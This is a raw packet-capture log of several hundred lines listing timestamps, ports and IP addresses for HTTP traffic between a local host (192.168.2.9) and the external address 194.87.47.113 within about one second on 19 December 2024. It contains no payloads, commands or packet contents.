Dec 19, 2024 08:01:01.429122925 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.429244041 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.429893017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.429958105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.429970980 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.430025101 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.430131912 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.430886984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.430955887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.430968046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.431107998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.431862116 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.431883097 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.431895971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.431957960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.431957960 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.432667971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.432723045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.432734966 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.432826042 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.433640957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.433685064 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.433701992 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.433768988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.433768988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.434663057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.434720993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.434732914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.434868097 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.435523987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.435570002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.435583115 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.435607910 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.435672998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.436480045 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.436541080 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.436553001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.436757088 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.437659025 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.437674999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.437688112 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.437743902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.437743902 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.438374996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.438399076 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.438410997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.438503981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.439318895 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.439389944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.439400911 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.439424992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.439651966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.440267086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.440323114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.440335035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.440509081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.441219091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.441307068 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.441318989 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.441426039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.442250013 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.442260981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.442271948 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.442393064 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.443128109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.443182945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.443193913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.443202972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.443435907 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.444070101 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.444139957 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.444149971 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.444276094 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.445014954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.445087910 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.445100069 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.445169926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.445169926 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.445964098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.446022987 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.446034908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.446145058 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.446929932 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.446986914 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.446997881 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.447096109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.447096109 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.447904110 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.448018074 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.448029995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.448328972 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.448791981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.448863029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.448874950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.448884964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.449009895 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.449788094 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.449892044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.449903965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.450325966 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.450735092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.450794935 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.450807095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.450817108 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.450855017 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.451656103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.451735020 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.451747894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.451868057 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.452868938 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.452881098 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.452892065 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.452950001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.452950001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.580502033 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.580526114 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.580538988 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.580660105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.580686092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.580725908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.580750942 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.580857038 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.580869913 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.581082106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.581722021 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.581806898 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.581819057 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.581923008 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.582640886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.582695007 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.582707882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.582865953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.583607912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.584665060 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.616909981 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.616935015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.616945982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.617322922 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.617341042 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.617367029 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.617379904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.617392063 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.617511034 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.618232965 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.618273973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.618285894 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.618855953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.619250059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.619287968 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.619299889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.619323969 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.619488955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.620110035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.620157003 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.620168924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.620255947 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.621108055 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.621157885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.621169090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.621257067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.621257067 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.622016907 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.622092009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.622104883 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.622672081 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.622905970 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.622961044 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.622975111 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.623006105 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.623141050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.623859882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.623920918 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.623934031 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.624802113 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.624876976 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.624892950 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.624902964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.624986887 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.625754118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.625830889 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.625844002 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.625868082 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.626717091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.626784086 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.626796961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.626854897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.626854897 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.627680063 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.627739906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.627754927 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.628612995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.628643990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.628674984 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.628686905 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.628715992 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.629559994 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.629587889 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.629616022 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.629627943 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.630511999 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.630542994 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.630578995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.630594015 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.630618095 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.630857944 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.631463051 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.631536961 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.631547928 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.632426977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.632458925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.632482052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.632493973 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.632550955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.632550955 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.633409977 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.633423090 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.633435011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.634383917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.634416103 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.634430885 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.634443998 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.634490967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.634490967 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.635287046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.635351896 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.635365009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.635519981 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.636244059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.636265039 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.636276960 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.636554003 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.637168884 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.637229919 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.637240887 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.637286901 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.638138056 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.638209105 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.638221979 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.638247013 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.638860941 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.639081955 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.639143944 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.639156103 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.639183998 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.640027046 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.640098095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.640108109 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.640167952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.640167952 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.640993118 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.641036034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.641048908 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.641902924 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.641932964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.641989946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.642003059 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.642050982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.642050982 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.642873049 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.642937899 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.642950058 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.643038988 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.643192053 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.643817902 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.643862009 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.643873930 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.643882990 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.643958092 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.644766092 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.644813061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.644824982 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.645472050 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.645680904 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.645796061 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.772293091 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.772326946 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.772339106 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.772687912 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.772721052 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.772840023 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.772919893 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.772932053 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.773041964 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.773797035 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.773823023 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.773870945 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.773883104 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.773940086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.773940086 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.774755001 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.774825096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.774837017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.775820017 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.775857925 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.782866001 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.809304953 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.809325933 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.809340954 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.809482098 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.809582949 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.809664011 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.809676886 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.810517073 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.810547113 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.810591936 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.810604095 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.810858011 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.811485052 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.811547995 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.811562061 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.811575890 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.811661959 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.812454939 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.812541008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.812555075 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.813386917 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.813463926 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.813477993 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.813491106 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.814316034 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.814342022 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.814383030 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.814393997 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.814852953 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.815288067 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.815367937 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.815380096 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.816240072 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.816267014 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.816308975 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.816323996 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.817205906 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.817234039 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.817281008 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.817293882 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.818155050 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.818183899 CET	49739	80	192.168.2.9	194.87.47.113
Dec 19, 2024 08:01:01.818202019 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.818216085 CET	80	49739	194.87.47.113	192.168.2.9
Dec 19, 2024 08:01:01.818851948 CET	49739	80	192.168.2.9	194.87.47.113
